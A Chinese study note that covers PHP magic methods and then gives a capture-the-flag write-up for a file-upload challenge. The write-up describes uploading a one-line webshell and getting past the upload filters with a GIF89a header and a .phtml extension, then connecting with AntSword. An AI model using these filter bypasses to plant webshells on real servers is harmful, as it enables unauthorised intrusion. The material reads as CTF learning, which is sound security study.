通常构造方法被用来执行一些有用的初始化任务,如对成员属性在创建对象时赋予初始值
在同一个类中只能声明一个构造方法,原因是PHP不支持构造函数重载
PHP __destruct() 方法
与构造方法对应的就是析构方法
析构方法允许在销毁一个类之前执行的一些操作或完成一些功能,比如说关闭文件、释放结果集等
析构函数不能带有任何参数
PHP __set() 方法
该方法用来设置私有属性, 给一个未定义的属性赋值时,此方法会被触发,传递的参数是被设置的属性名和值
PHP __get() 方法
在php中,类的成员属性被设定为 private 后,试图在外面调用它则会出现“不能访问某个私有属性”的错误
使用该方法可以在对象的外部获取私有成员属性的值
PHP __isset() 方法
当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
对比一下 isset()函数的应用:isset()是测定变量是否设定用的函数,传入一个变量作为参数,如果传入的变量存在则传回true,否则传回false。
如果在一个对象外面使用isset()这个函数去测定对象里面的成员是否被设定可不可以用它呢?
分两种情况,如果对象里面成员是公有的,我们就可以使用这个函数来测定成员属性;如果是私有的成员属性,这个函数就不起作用了,原因就是因为私有的被封装了,在外部不可见。
如果在类里面加上一个__isset()方法,当在类外部使用isset()函数来测定对象里面的私有成员是否被设定时,就会自动调用类里面的__isset()方法完成这样的操作
PHP __unset() 方法
当对不可访问属性调用unset()时被调用
对比一下 unset() 函数的应用:unset()这个函数的作用是删除指定的变量且传回true,参数为要删除的变量
那么如果在一个对象外部去删除对象内部的成员属性用unset()函数可以吗?
分两种情况,如果一个对象里面的成员属性是公有的,就可以使用这个函数在对象外面删除对象的公有属性;如果对象的成员属性是私有的,我使用这个函数就没有权限去删除
如果你在一个对象里面加上__unset()这个方法,就可以在对象的外部去删除对象的私有成员属性了
在对象里面加上了__unset()这个方法之后,在对象外部使用“unset()”函数删除对象内部的私有成员属性时,对象会自动调用__unset()函数删除对象内部的私有成员属性。
去
PHP __call() 方法
为了避免当调用的方法不存在时产生错误,而意外的导致程序中止,可以使用 __call() 方法来避免
该方法在调用的方法不存在时会自动调用,程序仍会继续执行下去
PHP __callStatic() 方法
用静态方式中调用一个不可访问方法时调用
与__call() 方法一致,区别就是 __callStatic()是为静态方式准备的
PHP __set_state() 方法
调用var_export()导出类时,此静态方法会被调用
本方法的唯一参数是一个数组,其中包含按 array('property' => value, ...) 格式排列的类属性
PHP __clone() 方法
对象复制可以通过 clone 关键字来完成(如果可能,这将调用对象的 __clone() 方法)。对象中的 __clone() 方法不能被直接调用
PHP __autoload() 方法
通过定义这个函数来启用类的自动加载
PHP __debugInfo()方法
打印所需调试信息
$this ->
$this -> 的含义是表示 实例化后的 具体对象
我们一般是先声明一个类,然后用这个类去实例化对象
比如这样:
class User
{
public $name;
function GetName()
{
echo $this->name;
}
}
使用的时候
$user = new User();
$user -> name = '冰枫';
$user -> GetName(); //这里就会输出 冰枫
原理是调用 $user -> GetName()的时候,上面User类中的代码 echo $this -> name ,就是相当于是 echo $user -> name;
[极客大挑战 2019]Upload
是个上传页面,考虑文件上传漏洞(我传真正的图片居然告诉我 Not image!)
写个一句话木马,上传后抓包,改一下文件类型
发现被拦截了,原因是<,?
这两个字符是十六进制,转换过来是 < 和 ?,也就是说最开始的 <? 被过滤了
突然发现burpsuite有个Render能直接渲染页面(压根不需要去特地找转义序列)
不能使用php的一句话木马,那就用javascrpit的
这是检查了头文件,加上GIF89a绕过
毕竟需要让后台用php解释器解释一句话木马,改一下后缀名
发现php被过滤了
试试看别的php扩展名,试出来phtml没有过滤
接下来就是蚁剑连接
一开始是直接复制粘贴的url,发现连接失败,说明需要直接连接自己传入的文件才行
但是路径我不知道啊,于是就尝试uplaod有关的组合,最终发现路径就是upload
优先去根目录寻找flag
疑问
为什么加上GIF89a就能绕过文件头检测呢?
答:
现在几乎所有的gif图片的文件头都是GIF89a,也就是说如果头文件检测到GIF89a,那么不太严格的过滤就会认为这个是gif图片文件
至于为什么头文件是gif,后缀名却可以是别的,可以理解为头文件检测和后缀名检测是分开的,如果严格过滤那么就没法通过了
为什么用的是gif的头文件而不是别的图片的头文件呢?
答:
常见的图片格式也就是jpg,png和gif
jpg图片格式由 SOI(文件头)、APP0(图像识别信息)、DQT(定义量化表)、SOF0(图像基本信息)、DHT(定义Huffman表) 、DRI(定义重新开始间隔)、SOS(扫描行开始) 和 EOI(文件尾)组成
jpg图片的文件头字符组成是:ÿØ
png图片结构由文件署名和数据块(chunk)组成
png图片的文件署名域用来识别该文件是不是png文件,字符组成是:‰PNG (乱码了)
gif图片结构由 文件头(File Header)、GIF数据流(GIF Data Stream) 和 文件终结器(Trailer) 三个部分组成
gif图片的文件头由 GIF署名(Signature) 和 版本号(Version) 组成
GIF署名用来确认一个文件是否是gif格式的文件,这一部分由三个字符组成:"GIF"
文件版本号也是由三个字节组成,可以为"87a"或"89a"
所以最终看到gif的文件头是:GIF89a 或者 GIF87a
因此我认为从输入头文件的便捷性方面考虑,用gif的头文件去绕过更加方便
扩展
HTML、XML 等 SGML 类语言的转义序列
形如
&#dddd;
&#xhhhh;
&name;
它们不是编码,是转义序列(escape sequence)
以 HTML 举例,这三种转义序列都称作 character reference:
-
前两种是 numeric character reference(NCR),数字取值为目标字符的 Unicode code point;
以「&#」开头的后接十进制数字,以「&#x」开头的后接十六进制数字。 -
后一种是 character entity reference,后接预先定义的 entity 名称,而 entity 声明了自身指代的字符。
PHP的扩展名
PHP的扩展名除了本身的php之外,还有:
php3,php4,php5,phtm,phtml,phps
-
php3,php4,php5 等效于php,是网页
-
phtm,phtml 含有php代码的html文本(htm与html本质上是一样的扩展名,由于DOS时代的8.3文件名命名原则,所以出现了htm的写法,类似的还有jpeg与jpg)
-
phps 是php源代码
想让服务器能接受这些扩展名,需要在Apache的配置文件httpd.conf中加入这些后缀名
AddType application/x-httpd-php .php .phtml .php3 .php4 .php5
GIF89a文件头
GIF89a图形文件是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。
在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。
在过滤头文件时,常用于头文件欺骗,让服务器认为你传入的是图片